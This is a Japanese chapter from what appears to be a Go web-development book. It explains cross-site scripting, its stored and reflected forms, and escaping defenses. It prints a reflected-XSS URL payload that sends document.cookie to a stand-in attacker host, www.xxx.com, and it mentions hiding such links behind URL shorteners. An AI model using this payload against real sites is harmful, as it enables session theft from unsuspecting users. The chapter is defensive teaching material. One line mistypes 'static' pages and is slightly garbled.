# 9.3 XSS攻撃の回避
インターネット技術の発展に伴って、現在のWebアプリケーションはどれも大量の動的なコンテンツを含ませることでユーザビリティを高めています。いわゆる動的なコンテンツとは、アプリケーション・プログラムがユーザの環境とユーザのリクエストに従って対応するコンテンツを出力することをいいます。動的なホームページは"クロスサイトスクリプティング攻撃（Cross Site Scripting, セキュリティ専門家は通常これを省略してXSSと呼びます）"の脅威を受ける可能性があります。性的なホームページは完全にこの影響を受けません。

## XSSとは何か
XSS攻撃：クロスサイトスクリプティング(Cross-Site Scripting)。カスケーディングスタイルシート(Cascading Style Sheets, CSS)の省略と混同しないようにクロスサイトスクリプティングはXSSと省略されます。XSSはよく見かけるセキュリティホールの一種です。これは攻撃者が悪意のあるコードを他のユーザが使用しているページに埋め込むことを許してしまいます。多くの攻撃(一般には攻撃者と被害者のみに影響します)とは異なりXSSは第三者に及びます。すなわち、攻撃者、クライアントとWebアプリケーションです。XSSの攻撃目標はクライアントに保存されたcookieの奪取またはクライアントの身分を識別する慎重に扱うべき情報を使う他のページです。一旦合法的なユーザの情報が取得されると、攻撃者は合法的なユーザを装ってページに対してやりとりを行うことができるようになります。

XSSは通常２つに大別することができます：ひとつは保存型XSSで、主にユーザにデータを入力させ、他にこのページを閲覧しているユーザが閲覧できる場所で出くわします。掲示板、コメント欄、ブログや各種フォーム等です。アプリケーションプログラムはデータベースからデータを検索し、画面に表示させます。攻撃者は関連する画面で悪意のあるスクリプトデータを入力したあと、ユーザがこのページを閲覧したときに攻撃をうけます。このプロセスを簡単にご説明すると：悪意あるユーザのHtmlがWebアプリケーションに入力->データベースに入る->Webアプリケーション->ユーザのブラウザ。もう一つはリフレクション型XSSです。主な方法はスクリプトコードをURLアドレスのリクエストパラメータに追加することです。リクエストパラメータがプログラムに入ると、ページに直接出力され、ユーザがこのような悪意あるリンクをクリックすることで攻撃を受けます。

現在のXSSの主な手段と目的は以下のとおり：

- cookieを盗み、慎重に扱うべき情報を取得する。
- Flashを埋め込むことで、crossdomainの権限設定により高い権限を取得する。またはJava等を利用して似たような操作を行う。
- iframe、frame、XMLHttpRequestまたは上のFlashといった方法を利用して、（被害者の）ユーザの身分にある管理操作を実行する。またはマイクロブログを送信したり、フレンドを追加したり、プライベートなメールを送信したりといった通常の操作を実行する。少し前に新浪微博はXSSに遭遇しました。
- 攻撃可能なゾーンを利用してその他のゾーンの信任の機能を受ける。信任を受けたソースの身分で通常は許されていない操作をリクエストする。例えば不当な投票活動等。
- PVが非常に大きいページでのXSSは小型のページを攻撃し、DDoS攻撃の効果を実現することができる。

## XSSの原理
Webアプリケーションはユーザが送信したリクエストのデータに対し十分な検査およびフィルタリングを行なっていないと、ユーザが送信するデータにHTMLコードを許してしまい（主に">"、"<"）、エスケープされていない悪意あるコードを第三者であるユーザのブラウザ上で解釈/実行させてしまいます。これがXSSセキュリティホールを生み出す原因となっています。

以下ではリフレクション型XSSを例にXSSのプロセスをご説明します：パラメータによってユーザの名前を出力するページがあるとします。例えばurl：`http://127.0.0.1/?name=astaxie`にアクセスすると、ブラウザでは以下のような情報を出力します：

	hello astaxie

もし我々が`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか？上と同じように、`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`というurlでは、現在のcookieが指定されたページ、www.xxx.comに送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか？攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。

XSSに関するより詳しい分析は"[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"と呼ばれる記事を参考にしてください。

## どのようにしてXSSを予防するか
答えは簡単です。ユーザのいかなる入力も決して信用せず、入力に含まれるすべての特殊文字をフィルタリングするのです。このようにすれば大部分のXSS攻撃を根絶することができます。

現在XSSの防御では主に以下のいくつかの方法があります：

- 特殊文字のフィルタリング

	XSSを避ける方法の一つは主にユーザが提供するコンテンツに対してフィルタリングを行うことです。Go言語ではHTMLのフィルタリング関数を提供しています：

	text/templateパッケージのHTMLEscapeString、JSEscapeStringといった関数です。

- HTTPヘッダに指定した型を使用する

	`w.Header().Set("Content-Type","text/javascript")`

	このようにすることでブラウザにhtmlを出力させずjavascriptコードを解釈させることができます。


## 概要
XSSセキュリティホールはとても危険なものです。Webアプリケーションを開発している時、必ずデータをフィルタリングするよう肝に銘じておいてください。特にクライアントに出力する前に。これは現在のところXSSを防止する手段として有効です。

## links
   * [目次](<preface.md>)
   * 前へ: [入力フィルタリングの確保](<09.2.md>)
   * 次へ: [SQLインジェクションの回避](<09.4.md>)
